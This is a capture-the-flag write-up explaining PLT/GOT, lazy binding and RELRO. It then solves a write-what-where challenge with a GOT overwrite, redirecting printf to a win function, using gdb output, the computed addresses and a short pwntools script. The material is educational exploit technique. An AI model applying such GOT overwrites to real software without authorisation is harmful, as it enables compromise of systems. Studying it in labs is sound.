This challenge introduces the newest category of exploits: write-what-where. We don't often see write-what-where exploits as independent exploits, but rather as a stepping stone to allow another exploit.
The most common use case of a variable overwrite is to write to the GOT (Global Offset Table). To understand how this works, we must discuss the basics of libc
.
Consider the most basic instance of a program: Hello World. In Hello World, we use printf
to print out the string. printf
is a standard library function imported from stdio.h
. How do we get that function?
First, stdio.h
is a header file, which only contains the headers (or declarations) for the functions inside the file. Another file, stdio.c
, would contain the definitions for each functions. This is done to minimize the size of the include made when someone includes the file.
Then, we compile the file. The important stage here is the linker, which connects all function uses to their headers, and all headers to their definitions. When we invoke printf
, this gets connected to the printf
header. However, since we didn't include the function definition, printf
can't connect its header to the definition.
This is where the PLT (Procedural Linkage Table) comes in. This table contains a list of all library functions invoked, the address of their header, and then a symbolic link to the GOT Table. This link is enough for the linker to be satisfied and will allow compilation. Inside GDB, this is why all library functions are written printf@plt
; this indicates they're a library function defined inside the PLT.
The GOT Table contains a symbolic link between the function's "temporary address" and its true address inside libc
. The GOT Table uses lazy binding, meaning it only resolves the function's address after it's been called once. Once the function has been called, there will exist a link between the function's header and libc
definition via the PLT and GOT. Here is a diagram of how this works:
Before the function is called for the first time, the GOT contains the address of the function in the PLT. This loop is how the C Runtime understands that the function has yet to be called and thus must resolve its address.
This leads to a series of powerful exploits known as a GOT Overwrite. Given a write-what-where exploit, we can write any data to any location. We can then write to the GOT table and overwrite the address that a library function points to. For example, given a function win
and write-what-where permissions, we can overwrite the address of printf@got
to be win
. Therefore, any time that printf
is called, it actually calls win
!
The only protection to this is RELRO (Relocation Link Read-Only). RELRO has three stages:
Partial RELRO, given the right abilities, is easy to exploit.
If we use gdb
to look at main
, we notice that there are no buffer overflow vulnerabilities.
0x000000000040170b <+322>: lea rax,[rbp-0x30] 0x000000000040170f <+326>: mov esi,0x1e 0x0000000000401714 <+331>: mov rdi,rax 0x0000000000401717 <+334>: call 0x4010e0 <fgets@plt>
We are allowed to write 30
bytes into a buffer of size 0x28
(notice there's something at rbp-0x8
). Both times data is inputted, it's converted to a long:
0x000000000040171c <+339>: lea rax,[rbp-0x30] 0x0000000000401720 <+343>: mov rdi,rax 0x0000000000401723 <+346>: call 0x4010f0 <atol@plt>
By running the challenge, we notice we're allowed to write 30
bytes to a location of our choosing. We confirm this here:
0x000000000040172f <+358>: mov rax,QWORD PTR [rip+0x297a] # 0x4040b0 <g_addr> 0x0000000000401736 <+365>: mov rdx,QWORD PTR [rip+0x297b] # 0x4040b8 <g_val> 0x000000000040173d <+372>: mov QWORD PTR [rax],rdx
This takes whatever's at g_val
and writes it to the dereferenced location g_addr
. This is the write-what-where capability we're seeking!
We're allowed to write anywhere that's marked as writable. This means we cannot write to the text segment since it's strictly marked read-only. checksec
shows that only Partial RELRO is on:
[*] '/ironforge/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
This means we can do a GOT Overwrite!
We're provided the ability to write a value anywhere. We're allowed to write 30 bytes at our chosen location. In performing a GOT overwrite, we only need to write 8
: the address of win
.
First, let's get the value we want to write (the address of win
):
gef➤ info functions win All functions matching regular expression "win": Non-debugging symbols: 0x00000000004015af win
Then, we need where we want to write. This is the GOT address for printf
:
gef➤ got GOT protection: Partial RelRO | GOT functions: 7 [0x404018] putchar@GLIBC_2.2.5 → 0x401030 [0x404020] puts@GLIBC_2.2.5 → 0x401040 [0x404028] setbuf@GLIBC_2.2.5 → 0x401050 [0x404030] printf@GLIBC_2.2.5 → 0x401060 [0x404038] fgets@GLIBC_2.2.5 → 0x401070 [0x404040] atol@GLIBC_2.2.5 → 0x401080 [0x404048] exit@GLIBC_2.2.5 → 0x401090
Here, the address of printf
in the GOT is 0x404030
.
printf
?win
. The easiest functions I see that get called are puts
and printf
.Note that I can't choose to overwrite lose
. lose
is not a library function, meaning it doesn't have a PLT nor a GOT entry.
Therefore, all we need to is input these and we'll get a successful run! Note that atol
does not accept hexadecimal, so we need to convert these to integers.
Python 3.10.12 (main, Mar 22 2024, 16:50:05) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 0x4015af 4199855 >>> 0x404030 4210736 >>> exit()
Then, just put them in the challenge!
$ ./chall Your goal is to modify the variable @ 0x7ffd292465f8 to equal 0xdeadc0de. This is a write-what-where exercise, and will not be trivial. This primitive is typically leveraged to overwrite GOT entries (or any writable region of memory in the binary). 0x7ffd292465d0: 0x0000000000000000 0x0000000000000000 0x7ffd292465e0: 0x0000000000000000 0x0000000000000000 0x7ffd292465f0: 0x0000000000000000 0x00000000deadbeef What do you want to write? 4199855 Where would you like to write it? 4210736 Congrats! You successfully overwrote the variable with the correct value. ... Many Times ... Congrats! You successfully overwrote the variable with the correct value. You did not modify the target... Are you sure you wrote to the right place? Try again!
Two important things to notice:
print_stack
uses printf
many times, which calls win
each time printf
is used.lose
! We didn't actually modify the variable as expected per the challenge. This means the code should still print lose
.This is the GOT overwrite. This can also be done using pwntools
pretty easily:
from pwn import * elf = context.binary = ELF("./chall") p = process() p.sendline(str(elf.sym.win).encode()) p.sendline(str(elf.got.printf).encode()) p.interactive()
In this solution, elf.sym.win
are hex values (i.e., numbers), which are converted to strings and then encoded as bytes.